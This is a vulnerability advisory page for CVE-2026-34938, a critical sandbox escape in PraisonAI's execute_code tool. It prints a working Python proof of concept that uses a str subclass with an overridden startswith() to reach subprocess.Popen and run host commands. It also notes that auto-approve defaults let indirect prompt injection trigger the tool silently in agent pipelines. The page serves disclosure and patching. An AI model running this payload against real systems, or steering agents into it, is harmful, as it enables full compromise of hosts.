Loading...
Skip to main content

CVE-2026-34938

CRITICAL

PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

Published April 1, 2026Updated June 29, 2026Source: osv

Summary

### Summary `execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host. ### Details `python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink) ```python # source -- _safe_getattr accepts any str subclass def _safe_getattr(obj, name, *default): if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses raise AttributeError(...) # hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False}) # sink -- Popen reached via __subclasses__ walk r = Popen(['id'], stdout=PIPE, stderr=PIPE) ``` ### PoC ```python from praisonaiagents.tools.python_tools import execute_code payload = """ t = type FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False}) mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_'])) subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_'])) mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_'])) name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_'])) PIPE = -1 obj_class = getattr(type(()), mro_attr)[1] for cls in getattr(obj_class, subs_attr)(): try: m = getattr(cls, mod_attr, '') n = getattr(cls, name_attr, '') if m == 'subprocess' and n == 'Popen': r = cls(['id'], stdout=PIPE, stderr=PIPE) out, err = r.communicate() print('RCE:', out.decode()) break except Exception as e: print('ERR:', e) """ result = execute_code(code=payload) print(result) # expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update praisonaiagents to 1.5.90 or later
pip install "praisonaiagents>=1.5.90"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
praisonaiagents
pypi
0.0.1, 0.0.10, 0.0.100, 0.0.101 (+465 more)1.5.90

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-693
    Protection Mechanism FailureMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-34938?
PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-34938?
CVE-2026-34938 affects praisonaiagents. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34938 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-6vh2-h83c-9294
PYSEC-2026-484

Related CVEs

  • CVE-2026-57125
    CRITICAL

    PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass

  • CVE-2026-57125
    CRITICAL

    PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass

  • CVE-2026-47392
    CRITICAL

    PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)

  • CVE-2026-40289
    CRITICAL

    PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions

  • CVE-2026-39888
    CRITICAL

    PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)

  • CVE-2026-40288
    CRITICAL

    PraisonAI has critical RCE via `type: job` workflow YAML

  • CVE-2026-57123
    CRITICAL

    PraisonAI: MCP SSE transport binds 0.0.0.0 with no authentication and no Origin validation; bundled SecurityConfig is never wired in

  • CVE-2026-57118
    CRITICAL

    PraisonAI AgentTeam.launch exposes unauthenticated remote agent listing and invocation endpoints

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies